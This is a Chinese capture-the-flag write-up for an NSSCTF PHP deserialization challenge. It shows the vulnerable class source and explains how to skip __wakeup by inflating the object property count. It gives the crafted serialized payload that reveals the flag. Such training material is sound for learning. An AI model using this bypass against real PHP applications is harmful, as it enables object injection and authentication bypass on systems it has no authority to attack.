【PHP反序列化】css夺旗赛

https://www.nssctf.cn/problem/429

源码:

bash 复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 
  1. 类结构HaHaHa类有两个属性adminpasswd

  2. 构造函数 :设置默认值admin="user", passwd="123456"

  3. __wakeup魔术方法 :在反序列化时自动调用,对passwd进行sha1加密

  4. __destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag

需要同时满足两个条件才能获取flag:

$this->admin === "admin" && $this->passwd === "wllm"

但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"

解决方案:绕过__wakeup

PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

构造payload

  1. 首先创建满足条件的对象:
bash 复制代码
<?php
class HaHaHa{
    public $admin;
    public $passwd;
}

$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";

echo serialize($obj);
?>
复制代码

正常序列化字符串: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

绕过__wakeup的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以 将属性数量从2改为比实际数量大的数字:3

复制代码
相关推荐
Once_day13 分钟前
C++之《程序员自我修养》读书总结(1)
c语言·开发语言·c++·程序员自我修养
liann11924 分钟前
3.1_网络——基础
网络·安全·web安全·http·网络安全
喜欢喝果茶.31 分钟前
QOverload<参数列表>::of(&函数名)信号槽
开发语言·qt
亓才孓32 分钟前
[Class类的应用]反射的理解
开发语言·python
努力学编程呀(๑•ี_เ•ี๑)32 分钟前
【在 IntelliJ IDEA 中切换项目 JDK 版本】
java·开发语言·intellij-idea
island13141 小时前
CANN GE(图引擎)深度解析:计算图优化管线、内存静态规划与异构任务的 Stream 调度机制
开发语言·人工智能·深度学习·神经网络
坚持就完事了1 小时前
Java中的集合
java·开发语言
魔芋红茶1 小时前
Python 项目版本控制
开发语言·python
云小逸1 小时前
【nmap源码解析】Nmap OS识别核心模块深度解析:osscan2.cc源码剖析(1)
开发语言·网络·学习·nmap
冰暮流星1 小时前
javascript之二重循环练习
开发语言·javascript·数据库